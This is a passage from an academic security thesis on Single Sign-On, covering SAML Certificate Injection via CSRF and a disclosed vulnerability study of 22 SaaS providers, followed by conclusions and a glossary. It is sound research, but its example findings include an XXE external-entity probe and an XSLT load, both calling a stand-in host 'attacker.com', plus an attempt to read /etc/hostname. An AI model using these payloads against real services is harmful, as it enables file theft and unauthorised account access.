upload the certificate to be trusted. Such a web interface is typical for SaaS-CPs
and we found them on all tested providers.
Phase 1. In a CInj attack, the attacker uses CSRF to compromise Phase 1.
The attacker prepares a link to his own website that holds the attack payload.
Once the victim, which is the administrator of the target SP in this case, clicks
on the link, the CInj attack is executed and automatically uploads a new trusted

137



3 Single Sign-On Security

Figure 3.25: The SAML settings can be configured with a web interface. This
includes uploading the certificate of the honest IdP.

certificate to the SP via the web interface. The attack is opaque for the victim.
For example, the attacker uses an invisible <frame>. The certificate is created
by the attacker and if the upload is successful, the attacker owns a key that is
trusted by the target SP.

Phase 2. The attacker can then use the uploaded key for creating signed
SAML tokens in Phase 2. He can therefor use his own malicious IdP or any
other software that can sign a SAML token. When the SP receives the Token
Response, it validates the SAML token. It verifies the signature using the key
from the administration interface. Since this is the attacker’s key, the token is
accepted.
In total, this attack breaks the original binding between Phase 1 and Phase 2

of the SAML protocol and creates a new Trust Establishment between the SP
and a key controlled by the attacker. On a high level view, this attack extends
the CF attack by manipulating Phase 1 with a CSRF attack. In a CF attack,
the attacker simply creates a key and signs the SAML token in Phase 2 with
it. If the target SP validates the origin of the signature key, it rejects the token
because the key is not trusted. In a CInj attack, an additional step takes place
in Phase 1: the key created by the attacker is uploaded to the SP. When the
target SP validates the origin of the signature key, it is accepted.
To prevent the CInj attack, the SP must provide a proper CSRF protec-

tion [170].
The detection of this vulnerability is difficult and hard to automate because

the administrative web interface is different on each SP. For example, some
tested SPs offer a text area to paste the certificate as a string, others only accept
files which must be uploaded. For this reason, we validated this attack manually.
In the case that we could create a website that automatically overwrites the
certificate once the link to the website is clicked, we considered part one of the
attack (Phase 1) to be successful. We then used our malicious IdP to create a
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signed token. Furthermore, we regarded the SP as vulnerable to CInj, if the SP
accepted the token,
The CInj attack belongs to Cat AB. It requires the interaction of a specific

victim: the SP administrator must click on a link in order to start the CSRF
attack in Phase 1. This step must only be executed once. After that, the
attacker can create and sign arbitrary SAML tokens and use them to sign in
with any identity that the SP knows.

3.9.5 Evaluation Methodology

Target SPs. Our intention for the study was to analyze the security of promi-
nent SaaS-CPs. First, we wanted to scan the Alexa Top 100,000 and put all
SaaS-CPs into our evaluation scope. We unfortunately found out that this is
very inefficient. The main problem is that we could not easily decide whether
a particular domain can be counted as a SaaS-CP. It is not possible to, for
example, search for a keyword like SaaS-CP. We identified lots of false positives
using this approach because websites advertised to collaborate with a popu-
lar SaaS-CP. Additionally, this leads to false negatives if a websites calls itself
Cloud Service Provider instead of SaaS-CP. In total, this approach would lead
to a manual analysis of all 100,000 domains, their subdomains, and possibly the
study of all provided documentations.
We then used a more efficient technique to identify popular SaaS-CPs: we

used precompiled lists of existing Cloud SPs. The majority of IdPs provide
such a list, for example, OneLogin [164] and Bitium [18]. We also found such
a list on Wikipedia [243] and additional websites [27, 218]. We consolidated all
listed SaaS-CPs and used the result as the basis for our study. Wen then filtered
out SaaS-CPs according to the following criteria:

SP type. We only considered SaaS-CPs. Other SPs types, such as Platform-
as-a-Service (PaaS) or Infrastructure-as-a-Service (IaaS) were excluded
because they differ substantially in terms of attack surface and handling.

Free Accounts. Since we did not have any funding, we could only consider
SaaS-CPs that are free at all or offer a free trial account.

SAML-based. This study only considered the SAML-based SSO protocol. Other
login protocol were excluded. In some cases, the usage of SAML was re-
stricted to payed accounts and we excluded them as well.

Security analysis. We analyzed all selected SaaS-CPs in our study.
All Single-Phase Attacks and the CInj Cross-Phase Attack have been applied

in a semi-automated black-box analysis. The providers under investigation are
online web applications and thus we do not have any access to its source code.
All SaaS-CPs allowed to setup a custom IdP, which we used for the analysis.
Please note that the SaaS-CPs have a strict domain separation, which means
that we are unable to use our custom/malicious IdP to directly attack other
companies using the same SaaS-CP. This is a typical restriction in SAML and
is different in OpenID and OpenID Connect. But we can use it to detect the
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vulnerabilities and implementation issues in the SAML verification module on
the SaaS-CP. Attacks belonging to Cat B like SigH or CF do not require any
IdP functionality to be exploited. The malicious IdP can be used to generate
the token containing the payload. The attacker can then use his user agent
to send it to the SaaS-CP. For attacks belonging to Cat A or Cat AB, we
need the interaction of a victim belonging to the target domain to exploit the
vulnerability.
Our malicious IdP is a self-developed tool capable to dynamically generate

different messages and observe the reaction of the targeted SaaS-CP. We split
the analysis of each SaaS-CP into three parts:

Learning In the first part, we need to calibrate our tool to prepare the next
parts. We used the tool and generate valid SSO tokens, send them to the
target SaaS-CP, and verify that it is accepted. We additionally generate
invalid SSO tokens to see the server’s reaction in the case of an error. The
tool learns the system’s normal state.

Vulnerability Detection. For each attack, we separately validated whether the
target SaaS-CP is vulnerable to it. We used our tool to generate the
necessary SSO token, send it to the SaaS-CP in the Token Response, and
compare it to the systems normal state from the previous part. Because
some presented attacks have different variants, the vulnerability detection
can require lot of time and is the most complex part of our evaluation.
We observed the results. Successfully detected vulnerabilities are then
investigated in the next part.

Vulnerability Exploitation. We manually verified all detected vulnerabilities.
For the exploitation, we used totally different systems, for example, a
different PC.

3.9.6 SaaS-CPs Evaluation

According to the responsible disclosure model, we promptly reported all vulner-
abilities found to the liable security teams as well as to the Computer Emergency
Response Team (CERT)16. In case we got a response from the developers, the
time to fix the reported issues ranged from between a few days and several
months. Furthermore, we supported the developer teams during fixing the re-
ported issues.

3.9.6.1 Summary

In this study we provided a security analysis of 22 SaaS-CPs. The results are
depicted in Table 3.6. We discovered vulnerabilities, resulting in unauthorized
access to restricted resources of a victim, in 20 of them. Six of the evaluated
SaaS-CPs did not correctly evaluate the timestamps within the token, making
Replay attacks applicable. Some of these six SaaS-CPs did verify the freshness
parameters only partly and some of them did not verify them at all, allowing
16https://cert.org
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Replay
Cat A

WR
CatA

XSW
CatAB

SigH
Cat B

CF
Cat B

XXE
Cat B

XSLT
Cat B

CInj
CatAB

Total

Salesforce X X X X X X X X X
Google Apps X X X X X X X X X
Zoho X X Vuln. X X X X X Vuln.
Zendesk X Vuln. X X X X X X Vuln.
Clarizen Vuln. Vuln. Vuln. Vuln. X Vuln. X X Vuln.
SAManage X Vuln. Vuln. X X Vuln. X Vuln. Vuln.
Shiftplanning X Vuln. X X X Vuln. X Vuln. Vuln.
Panorama9 X Vuln. X X X X X X Vuln.
UserVoice
(Marketing)

X Vuln. X X X X X X Vuln.

Instructure Vuln. Vuln. Vuln. X X X Vuln. X Vuln.
The
Resumator

X Vuln. X X X Vuln. X X Vuln.

BambooHR X Vuln. X X X X X Vuln. Vuln.
AppDynamics Vuln. Vuln. Vuln. X X Vuln. X X Vuln.
IdeaScale X X X X X Vuln. X Vuln. Vuln.
Panopto X Vuln. Vuln. X X X X X Vuln.
TimeOff-
Manager

Vuln. Vuln. Vuln. X X Vuln. X X Vuln.

HappyFox X Vuln. Vuln. X X X X X Vuln.
SpringCM X X Vuln. X X X X X Vuln.
ScreenSteps
Live

X Vuln. Vuln. X X Vuln. X X Vuln.

LiveHive Vuln. Vuln. Vuln. X X Vuln. X X Vuln.
Howlr X Vuln. X X X X X Vuln. Vuln.
CA Service
Management

Vuln. Vuln. X X X Vuln. X Vuln. Vuln.

Total 6/22 17/22 11/22 1/22 0/22 10/22 1/22 6/22 20/22

Table 3.6: Results of our practical evaluation. We have evaluated 22 SaaS-CPs
against 8 different attacks. 20 of them were vulnerable to at least one attack so
that we could successfully access unauthorized resources.

the unlimited usage of the tokens for an infinite amount of time. 17 out of
the 22 SaaS-CP were vulnerable against Wrong Recipient (denoted by “WR” in
Table 3.6). During our evaluation, we found some very interesting aspects about
the impact of the Wrong Recipient attack: Some vulnerable SaaS-CPs accepted
tokens from other SaaS-CPs even if there was no account associated with the
identity contained in the token. The vulnerable SaaS-CP instantly creates a new
account for the corresponding identity, even if the SaaS-CP is a payed service.
11 SaaS-CPs were vulnerable against XSW. This is a surprisingly huge amount
with respect to the large-scale study of SAML framework implementations in
2012 [206]. Only a single SaaS-CP was susceptible to SigH and none of the
tested SaaS-CPs were vulnerable to CF. Almost 50% of the SaaS-CPs (10/22)
were vulnerable against XXE and only one was vulnerable against XSLT attacks.
Finally, about 30% of the SaaS-CPs were vulnerable against CInj and thus

enabled a backdoor, which bypassed the protection mechanisms verificating the
authentication tokens.

3.9.6.2 Details of Exploit

In the following, we want to highlight some of our findings and picked out some
of the evaluated SaaS-CPs.
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IdeaScale. IdeaScale [82] is a web-based innovation management platform.
Besides XXE attacks, it was not vulnerable to any other Single-Phase Attack.
Unfortunately, the HTTP web interface used for Phase 1 in the SAML protocol
was not as good protected as the SAML library. We could successfully apply a
CSRF attack that automatically uploads our self-created certificate. We could
then use this certificate and our own malicious IdP to create tokens bypassing all
other verification steps, including the signature verification. We thus categorized
the Certificate Injection (CInj) attack scenario as applicable. CInj is a good
example to show how important the relations between the different phases of an
SSO protocol are related to each other. Even if the verification steps in Phase
2 resists all known attacks, it can be still bypassed by injecting wrong keys into
the database via a vulnerable Session Management module in Phase 1.
Additionally, IdeaScale was vulnerable to the above-described XML External

Entity (XXE) attack, providing a debug-functionality of received SAML tokens
displaying the contents of the locally pointed-to file.

TimeOffManager. TimeOffManager [229] is a web-based leave management
solution. TimeOffManager gives a good example for an XXE attack. At first, we
wanted to detect if the SaaS-CP is vulnerable to XXE. To verify this, we simply
created a token containing the External General Entity <!ENTITY send SYSTEM
’http://attacker.com’>. Because our attacker.com server received a GET
request, we knew that External General Entities were resolved. Nevertheless,
when we tried to read the file /etc/hostname, it did not work. We wondered
why it was impossible and after some tries, we detected that TimeOffManager
uses a load balancer and delegates our requests to different systems. On some
of them, the /etc/hostname file did not exist, and therefore we got an error, on
others, it worked and we could read it. The high percentage of affected SaaS-
CPs can be explained by the fact that the External Entities are turned on by
default in the most XML parsers (even if they are rarely needed). We refer to
our large-scale study for more details on this [209].

Instructure. Instructure [84] is an educational technology based company.
While investigating their SSO authentication flow, we discovered that Instruc-
ture processes arbitrary XSLT instructions if they are contained in the XML
Signature within the SAML token. This for itself is very dangerous because
XSLT could be used to access files on the machine or execute system commands.
Interestingly, we found out that if we use XSLT to load an XML file from our
own server (http://attacker.com/a.xml). This files includes an XXE attack,
which is processed by Instructure. If an XXE attack is contained directly within
the token sent to Instructure, it is ignored. This indicates that there are mul-
tiple XML parsers involved, while processing one single SAML token, and each
parser must be protected.

3.9.7 Summary

In this section, we analyzed 22 SaaS-CPs finding 20 of them vulnerable. In
contrast to OpenID and OpenID Connect, SAML does not have a dynamic
Trust Establishment, but we showed in our study that the usage of a custom
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IdPs is possible on all tested SaaS-CPs. By this means, we could use a malicious
IdP to detect security vulnerabilities in black-box applications.
We categorized a wide range of attacks on SAML into Single-Phase Attacks

and Cross-Phase Attacks. Most of them were already known [8, 149, 169, 206].
The SAML standard itself also covers a lot of the here presented attacks [190].
Thus, we were very surprised finding so many vulnerabilities. A reason for this
might be that the standard itself is very large and defines multiple use cases
and flows. We also discovered securely implemented SAML-based SSO systems
and could not find any vulnerability in Salesforce and Google Apps.
The XSW attack has been under investigation years before our study [206],

but in our evaluation, we still found 50% of the tested SaaS-CPs vulnerable to it.
This clarifies that the fix of a vulnerability in an SSO ecosystem is a non-trivial
task. As a future work, our attacks should be implemented in a fully-automatic
EaaS, for example, by extending PrOfESSOS. The approach used in this study
is semi-automatic, which makes a reevaluation very time consuming. We are
convinced that similar vulnerabilities can be found in other SAML SPs as well,
for example, in IaaS and PaaS. A fully-automatic tool could be easily used to
evaluate them.

3.10 Lessons Learned

We showed how to adapt the concept of Single-Phase Attacks and Cross-Phase
Attacks to three different protocols in previous sections. All of them have been
successfully applied to software libraries and online websites using the new SSO
Attacker Paradigm and a malicious IdP. We now take into account the experi-
ences gained.
Trusted IdPs. When Microsoft introduced MS Passport, the first web SSO
system, criticism concentrated on the closed nature of the system: only a single
IdP at the domain passport.com was used. Subsequent approaches like MS
Cardspace and SAMLWeb SSO allowed multiple IdPs, but still retained the idea
that an IdP should only be run by trusted parties, and that trust relationship
between an SP and an IdP should be established manually. With OpenID,
“openness” for the first time became more important than “trustworthiness”,
and this resulted in new attack classes as shown in this thesis.
Lesson learned: the Trust Establishment Phase should not be fully automated

unless its implementation is verified against the attack threats that come along
with it.
Identities are Important. Attacks similar to Wrong Recipient have been
described before in the literature. For example, Armando et al. [7] discovered a
bug in the Google SSO implementation where the identity of the target SP was
omitted from the SAML assertion. Thus an assertion issued for (low-security)
service A (controlled by the attacker) could be used to log into (high-security)
service B. Including identities in protocol messages, and checking these values,
is good engineering practice (e.g., in TLS certificate verification).
Lesson learned from the Wrong Recipient attack: checking identity of the SP

is always important and should be enforced in any application.
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References to Cryptographic Keys. We could identify different Signature
Bypass attacks amongst all three investigated OpenID protocols. KC in OpenID
exploits weaknesses in the Association between the identity of the IdP, the key
handle and the key value used for the signature verification. In OpenID Connect
and SAML, we could disable the signature verification by removing the signature
from the SSO token.
Lesson learned: the identification of the correct cryptographic keys should be

unambiguous. If keys are related to the identity of a communicating party, then
this identity should be part of the key identifier and must be verified carefully.
The absence of a signature should only be allowed in well-prepared scenarios
and the usage of weak algorithms must be denied.
Multiple Equivalent Parameters. If two or more different parameters are
used for the same purpose, then it is difficult to formally specify how to react
if these two parameters have different semantics. Considering IDS in OpenID
or OpenID Connect, the SSO token contains two identities: one defined by a
subject parameter and another one defined by an email parameter. Such states
lead to attacks if the SP uses the wrong email parameter as the End-User’s login
identity. Similar vulnerabilities have been reported in other multi-party appli-
cations. For example, in web services, the SOAPAction can be specified in the
HTTP and in the SOAP Header. By specifying two different values, inconsistent
behavior can be triggered (cf. SOAPAction Spoofing in Section 2.3.1.5).
Lesson Learned: ambiguous parameters should be avoided when designing a

protocol. When implementing such a protocol, ambiguous parameters should
be verified very carefully.
Complex Information Flow Specification. In many cases, developers of
SSO frameworks deviated from the specification, which resulted in a different,
vulnerable message flow. It seems that the specifications are not clear enough
to unambiguously implement the desired message flow. It is an interesting open
question how to formally specify the desired flow, such that computer-aided en-
forcement of this flow, or computer-aided checking of this flow, becomes possible.
Furthermore, documentations similar to checklists containing known vulnerabil-
ities and their mitigation steps should be in the scope of future specifications.
Lesson Learned: even if verification steps are clearly addressed, for example,

freshness or recipient verification in OpenID Connect, specifications often miss
to explain why a particular step is important.
Security of the Entire System. Security in complex systems like SaaS do
not only depend on one single module. Multiple software libraries are used in
the background. XML parsers, for example, are used on a very low technical
level. Even in OpenID, a protocol that is not based on XML (in comparison to
SAML), an XML parser can be used. In 2014 Silva [198] an XXE attack was
discovered in Facebook’s password recovery function based on OpenID’s XML
Discovery. Features like XSLT can be enabled without the knowledge of the
developer as shown by Instructures, for example. The CInj attack on SAML is
an additional example. A web interface having a CSRF vulnerability can break
the whole SSO protocol.
Lesson Learned: hidden features, possibly enabled per default deep in a soft-
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ware stack, can lead to a dangerous attack surface.
Security and Software Development. With PrOfESSOS, we created the
first fully-automatic EaaS. It can be integrated into the systems development
life cycle. By this means, a new release of a website or library can ensure that
it is not vulnerable to old and known attack techniques. We would like to see
this approach at least in officially referenced libraries because this is the first
place for a developer to choose his library from.
Lesson Learned: old and known attacks are still a problem in today’s imple-

mentations because developers are not aware of them. Automated testing tools
should be integrated into the development to ensure a certain level of security.

3.11 Related Work

Related work can be divided into different parts: research on the analysis of
particular SSO systems and development of SSO security tools.
OpenID. The analysis of the OpenID protocol started with version 1.0. Tsyrkle-
vich and Tsyrklevich [231] presented several attacks on this OpenID version at
Black Hat in 2007. They identified, for instance, a threat in the IdP endpoint
URL (URL.IdP ) published within the discovery phase. It can point to critical
files on the local machine or can even be abused in order to start a DoS attack
by enforcing the SP to download a large movie file. Comparable to Sun and
Beznosov [216], they also looked at replay and CSRF attacks.
In 2008 Newman and Lingamneni [155] created a model checker for OpenID

2.0, but for simplicity, they removed the Association phase out of their model.
They could identify a session swapping vulnerability, which enforces the victim
to log in to attacker’s account on an SP. In this manner, an attacker could eaves-
drop the victim’s activities. In comparison to our work, the attacks presented
by Newman and Lingamneni [155] do not result in unauthorized access. Inter-
estingly, the authors of the paper modeled an IdP capable to make associations
with legitimate SPs. However, they did not consider a malicious IdP capable to
start attacks like IDS. Later on, Sun et al. [217] provide a comprehensive formal
analysis of OpenID and an empirical evaluation of 132 popular websites. The
authors investigated CSRF, Man-in-the-Middle (MitM) attacks and the SSL
support of OpenID implementations. In contrast to our work, they assumed
that the SP and the IdP were trustworthy, so that they could not identify any
of the attacks presented in this paper.
In 2010 Delft and Oostdijk [37] published an attack describing KC Strategy

1 – overwriting key material on the SP. However, Strategy 2 of KC was not
considered. Additionally, the authors evaluated three OpenID libraries as part
of their research.
Wang et al. [238] concentrated on real-life SSO systems instead of a formal

analysis. They have well demonstrated the problems related to token verifi-
cation with different attacks. They developed a tool named BRM-Analyzer
that handles the SP and IdP as black-boxes by analyzing only the traffic visible
within the user agent. Their paper served as a model for our research. However,
the BRM-Analyzer is rather passive (it analyzes the browser-related messages),
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while OpenID Attacker acts as an IdP and, as such, it can actively interfere
with the OpenID workflow (e.g., create SSO tokens).
In 2014 Silva [198] exploited an External Entity vulnerability in Facebook’s

parsing mechanism of XRDS documents during the discovery phase. The same
attack is supported by the OpenID Attacker and is part of our evaluation. Si-
multaneously to our research, in 2014, Jing [94] reported serious flaws in OAuth
and OpenID, which are related to Wrong Recipient attacks.
OAuth and OpenID Connect. Sun and Beznosov [216] analyzed the im-
plementation of nearly 100 OAuth implementations, and found serious security
flaws in many of them. Their research concentrated on classical web attacks like
XSS, CSRF and TLS misconfigurations. Further security flaws in OAuth-based
applications were discovered [51–53, 157, 158, 196, 246]. However, the authors
concentrated on individual attacks. In 2013 Wang et al. [239] introduced a sys-
tematic process for identifying critical assumptions in SDKs, which led to the
identification of exploits in constructed apps resulting in changes in the OAuth
2.0 specification. In 2014 Chen et al. [25] revealed serious vulnerabilities in
OAuth applications on mobile devices caused by the developer’s misinterpreta-
tion of the OAuth protocol.
In 2016 Li and Mitchell [111] analyzed OpenID Connect. They evaluated

103 SPs and found several vulnerabilities, for example, Replay attacks, MitM,
session swapping and XSS. Since OpenID Connect was standardized in 2014,
we expect more research in this area.
SAML. Various vulnerabilities have been found in SAML over the last two
decades. In 2003 and 2006 Groß [69] as well as Groß and Pfitzmann [70] analyzed
the SAML Browser/Artifact profile and identified several flaws in the SAML
specification that allow connection hijacking/replay attacks, as well as MitM
attacks and HTTP referrer attacks. We used these attacks as a foundation for
the Wrong Recipient attacks. In 2008 and 2011 Armando et al. [7, 8] built a
formal model of the SAML V2.0 Web Browser SSO protocol and analyzed it with
the model checker SATMC. The authors found vulnerabilities in Google’s SAML
interface. In 2012 Somorovsky et al. [206] investigated the XML Signature
validation of several SAML frameworks. By using the XSW attack technique,
they bypassed the authentication mechanism in 11 out of 14 SAML frameworks.
In 2014 Mayer et al. [136] attacked SAML IdPs and found different critical
security vulnerabilities.
Malicious IdPs. The concept of malicious IdPs was previously described Dey
and Weis [42], Elahi et al. [54], and Khattak et al. [103]. Please note that the
described attacks are trivial in the sense that only those accounts are compro-
mised which use (and therefore trust) this specific malicious IdP. This research
additionally investigates privacy concerns when End-Users are using such a ma-
licious IdP. In contrast to that, our malicious IdP-based attacks compromise
accounts controlled by other, benign IdPs (e.g., Yahoo). To the best of our
knowledge, none of the previous work considered this kind of attacks, which is
our main contribution.
SSO Security Tools. In 2013 Bai et al. [10] have proposed AuthScan, a
framework to extract the authentication protocol specifications automatically
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from implementations. They found security flaws in several SSO systems. The
authors concentrated on MitM attacks, Replay attacks and Guessable tokens.
More complex attacks, like IDS or KC, could not be evaluated. In the same year,
Xing et al. [245] developed a tool named InteGuard detecting the invariance in
the communication between the End-User and the SP to prevent logical flaws in
the latter. Another tool similar to InteGuard is BLOCK proposed by Li and Xue
[112]. Both tools should be able to detect Replay attacks and Wrong Recipient.
Since all HTTP messages between the attacker and the SP are valid and do
not show abnormalities, neither InteGuard nor BLOCK are able to mitigate
IDS, KC and External Entity. Yuchen Zhou [246] published a fully automated
tool named SSOScan for analyzing the security of OAuth implementations and
described five attacks, which can be automatically tested by the tool. In 2016
Sudhodanan et al. [214] categorized seven attack patterns for black-box testing
in Multi-Party Web applications. They implemented a tool finding many web
applications including Cashier-as-a-Service (CaaS) vulnerable. Their tool is
unfortunately not publicly available and their paper excluded malicious IdPs.

3.12 Conclusions

This chapter contributes to a better understanding of SSO protocols. Our sys-
tematic categorization of protocol phases helps to adapt generic attack concepts
to concrete SSO protocols. Using a malicious IdP as described in the SSO At-
tacker Paradigm, we can easily detect security vulnerabilities. We highlighted
this by means of examples on our OpenID, OpenID Connect, and SAML studies.
However, the open question remains how to reduce the large amount of imple-

mentation issues in real-world protocol implementations. Our collaboration with
the Internet Engineering Task Force (IETF) and the integration of PrOfESSOS
into the certification process of OpenID Connect could possibly be (a part of)
the answer.
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4
Conclusions and Future Work

This thesis presented various severe attack concepts and revealed numerous
critical vulnerabilities in web services and Single Sign-On (SSO) protocols.
General Research Impact. We showed different attacks on diverse SSO pro-
tocols. Among them, Cross-Phase Attacks are of special interest because they
abuse a missing binding between SSO phases. These vulnerabilities highlight
that – in order to construct secure SSO protocols – it is insufficient to solely
rely on a single step to verify the SSO token. It is inevitable to consider all
protocol phases and their influence on each other. Especially the Trust Estab-
lishment has a strong impact on all other phases. The SSO Attacker Paradigm
is a powerful approach for analyzing SSO implementations. In previous work,
Identity Providers (IdPs) were considered Trusted Third Parties (TTPs) [42,
54, 103] and were not used to compromise accounts of other benign IdPs. This
assumption does not hold for open SSO protocols, such as OpenID and OpenID
Connect. Analyses of such protocols must consider a malicious IdP as a threat,
as shown in this work.
WS-Attacker influences the perception of attacks that are too complex to be

executed manually. For example, the attacks on XML Encryption are no longer
of theoretical nature. They can be executed easily in several application areas,
not limited to SOAP web services.
Practical Research Impact. The presented work influenced many frame-
works, libraries, and websites. During this thesis, the author communicated with
several developers and helped them to understand and counter the found vulner-
abilities: Apache CXF [5], Drupal [219], IBM DataPower [81], Onelogin [165],
ownCloud [127], OXID Shopping System [177], Slashdot [202], Sourceforge [43],
and Zend Technologies Ltd [248]. Numerous Common Vulnerabilities and Ex-
posures (CVEs) have been applied [31, 59, 60, 108, 109, 120–126, 145–147].
The author additionally cooperated with the Internet Engineering Task Force

(IETF) OAuth and the OpenID Connect working groups in reporting and fixing
the OpenID Connect specification flaw [115].
Future Work. We found multiple attacks on SOAP web services and XML
parsers. This naturally raises the question if the concepts can be transferred
to other technologies, for example, to REST web services. In JSON, technolo-
gies similar to features known from the XML-world are under development:
(1.) JSLT is a JavaScript alternative to XSLT [2]. (2.) JSON Include is compa-
rable to XInclude [68, 183]. (3.) JSON Schema [101] can be seen as an analogy
to XML Schema. It would also be interesting to validate attacks like Coercive
Parsing or HashDoS in REST-based web services.
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4 Conclusions and Future Work

In the field of SSO, this thesis focused on the security of Service Provider
(SP) implementations. The security of IdPs is scarcely studied and should
be considered in more detail. We furthermore presented a new SSO Attacker
Paradigm and introduced malicious IdPs for analyzing and attacking SSO. SSO
is only one multi-party web protocol. It is most likely that new insights can be
found in similar protocols. For example, Cashier-as-a-Service (CaaS) seems to
be an interesting target. It has a comparable architecture: a cashier is a TTP,
and the shop is an SP. By using a malicious cashier controlled by the attacker,
a shop implementation could also be analyzed.
It is a general open question if the security of multi-party web protocols

can be increased by means of tool-supported testing during development. We
proposed PrOfESSOS and are currently collaborating with the OpenID Connect
working group to integrate it into the certification process of OpenID Connect
libraries. By this means, a protocol implementation could get closer to its
specification, and simple implementation issues can be avoided. However, this
approach does not detect new specification flaws and a formal protocol analysis
is indispensable for that purpose. If both, formal analysis and tool-supported
implementation verification, can be unified, the security of protocols will be
increased enormously.
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Terms and Abbreviations

A

AES-CBC

AES used in Cipher Block Chaining mode of operation. 57, 58, 64, 66

AES-GCM

AES used in Glois Counter mode of operation. 58, 60, 74

Apache Axis2

Apache eXtensible Interaction System, commonly used web service frame-
work created by the Apache Software Foundation. 8, 9, 19, 23, 31, 35, 36,
38, 45–47, 54–56, 67, 68, 73

Apache CXF

Apache CXF System web service framework. i, 3, 9, 38, 45–47, 54–56, 58,
60, 67, 68, 73, 149

API

Application Programming Interface. 82

ARTR

Attack Roundtrip Time Ratio. 42–47, 49, 50, 54, 56, 57, 151, 155

Association

The Association between the SP and the OpenID IdP establishes a shared
secret between them. 87, 94, 95, 99, 101, 104, 107–109, 144, 145

Axway SOA Gateway

SOA Security Gateway by Axway. 54–56, 58, 67–70, 151

B

BrowserId

Monolithic SSO protocol created by Mozilla. 2, 6, 76, 77, 80, 83–85, 87,
89

Buffer Overflow

An attacker where a program writes more data than expected into a buffer.
24

C

CaaS

Cashier-as-a-Service. 147, 150
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Terms and Abbreviations

Cat A
Category A. 88–91, 96–99, 104, 105, 115–117, 119, 123, 127, 131–136,
139–141

CBC

Cipher Block Chaining mode of operation; Operation mode for a block
cipher to encrypt more than a single block. 59, 60, 63, 67, 69, 70, 73, 74

CMS

Content-management system; A software which helps to create an manage
content. CMSs are often web applications. 103, 107

Cross-Phase Attack

Generic attack concept on an SSO protocol abusing a missing binding
between different protocol phases. 4, 6, 76, 88, 91–93, 99, 103–105, 107,
111, 117, 118, 123–126, 128, 129, 137, 139, 143, 149, 152

CSRF

Cross-Site-Request-Forgery; Attack technique which tries to use web ap-
plication APIs by a victim without his knowledge. 88, 113, 137–139, 142,
144–146

CVE

Common Vulnerabilities and Exposure. 58, 149

D

DDoS

Distributed Denial-of-Service; Power DoS attack engaged by multiple at-
tackers. 25, 37, 40, 49

Diffie-Hellman key exchange

Specific method for exchanging key material. 92, 95

Discovery

Used in Phase 1 of OpenID and OpenID Connect to distribute information
on the IdP to be used. 87, 94–97, 100, 101, 107, 109, 112, 115, 117, 119–
125, 127, 129, 144, 152

DoS

Denial-of-Service; The unavailability of a service, which should be avail-
able. i, 1–3, 5, 9, 10, 13–15, 18, 23, 24, 27, 29, 33, 37–57, 72, 73, 76, 119,
122, 145, 151, 152, 155

Attribute Count. 38, 41, 47, 50, 52, 55, 56

Coercive Parsing. 23, 37, 38, 44, 46, 47, 49, 50, 52, 55, 56, 149

HashDoS. 23, 37, 39, 41, 46, 50, 52, 55, 56, 149
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Terms and Abbreviations

Oversized XML attack. 37, 39, 50, 52, 55

XML Element Count. 38, 50, 52, 55

XML Entity Expansion DoS. 37, 39, 50, 52, 55, 122

XML External Entity DoS. 37, 39, 50, 52, 55

XML-based DoS. 10, 47–49, 51, 52

Drupal

Drupal is a free and open source CMS. 122, 123, 149, 152

DTD

Document Type Definition. 2, 10, 12, 13, 16, 39, 73, 91, 136

Dynamic Registration

Used in Phase 1 of OpenID Connect to dynamically register an SP to an
IdP. 112, 117, 119, 120, 122, 127

E

EaaS

Evaluation-as-a-Service. 125, 126, 143, 145

End-User

A user surfing in the web via his User-Agent. i, 2–4, 75–83, 85, 87, 91,
93–97, 112–116, 119, 121, 122, 124, 126–128, 130, 134, 135, 144, 146, 147

Entity

Entities are used in DTDs. They can be External or Internal, General or
based on Parameters. 12, 14, 37

External Entity. 136, 146, 147

External General Entity. 12, 15, 16, 39, 136, 142

External Parameter Entity. 13, 16, 17

Internal General Entity. 12, 14, 16, 17, 39, 73

Internal Parameter Entity. 12, 16, 17

Parameter Entity. 17

EsPReSSO

Burp Suite extension for Extension for Processing and Recognition of SSO
Protocols; https://github.com/RUB-NDS/BurpSSOExtension. 7, 83

F

Facebook Connect

Monolithic SSO protocol created by Facebook. 6, 75–77, 80–82, 84, 90,
110
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Terms and Abbreviations

FSA

File System Access. 10, 16–18, 87, 136, 137

G

GUI

Graphical User Interface; A software component which allows a human to
interact with machine by using symbols. 32, 33, 39, 100

H

HTTP

Hypertext Transfer Protocol; Wide-spread network protocol used in the
web. 17, 18, 20, 25–27, 30, 34, 36, 68, 83, 85, 88, 94, 117, 118, 126, 130,
137, 142, 144, 146, 147, 152

I

IaaS

Infrastructure-as-a-Service. 139, 143

IBM DataPower

XML Security Gateway by IBM. i, 3, 9, 15, 38, 45, 46, 54–56, 58, 59, 67,
70, 73, 149

IdP

Identity Provider; An entity which is responsible for creating tokens that
will be used to authenticate a user against an SP. i, 2, 3, 75–83, 85–89,
92–104, 106, 107, 110, 112–115, 117–120, 123–127, 129–132, 136, 139, 140,
143–146, 149, 150, 182, 183

Authorization Server; Server creating Access Tokens for Clients. 80

Honest IdP. 86, 92, 101, 117–121, 123, 124, 126, 135, 138, 153

Malicious IdP. i, 3, 4, 6, 76, 85–87, 89, 92, 93, 96–102, 111, 115–127, 129,
131–140, 142, 143, 146, 147, 149, 150, 152

Resource Server; Server storing resources owned by the Resource Owner.
Accepts an Access Token to distribute these resources. 80

IdP Confusion

Cross-Phase Attack on the OpenID Connect specification. 117, 118, 120,
127, 128, 152

IDS

ID Spoofing; Single-Phase Attack faking identity information in an SSO
token. Adapted to OpenID and OpenID Connect. 4, 85, 89, 96, 97, 102,
104–107, 110, 111, 115, 123, 124, 127, 144, 145, 147, 152
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Terms and Abbreviations

IETF

Internet Engineering Task Force. i, 4, 147, 149

Issuer Confusion

Cross-Phase Attack on the OpenID Connect specification. 117, 123–125,
127, 128

J

JSON

JavaScript Object Notation. 13, 83, 91, 112, 127, 137, 149

JWT

JSON Web Token. 79, 82, 83, 116

K

KC

Key Confusion; Signature Bypass attack applied on OpenID. 99, 102,
104–108, 110, 111, 144, 145, 147, 152

L

Login Request

SSO message initiated by the End-User in order to start the SSO protocol.
77, 78, 80, 82, 89, 107, 108, 117, 152

M

Malicious Endpoints attack

Cross-Phase Attack influencing the Discovery of the OpenID Connect pro-
tocol. 117, 119–123, 125, 127, 128, 152

Metro

Metro web service framework. 9, 38, 45–47, 54–56

Microsoft Account

Monolithic SSO protocol created by Microsoft.. 7, 76, 80, 82, 84

MitM

Man-in-the-Middle; An attack technique in which the attacker virtually
or physically sits between to users, allowed to listen and manipulate their
exchanged messages. 145–147

O
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Terms and Abbreviations

OAEP

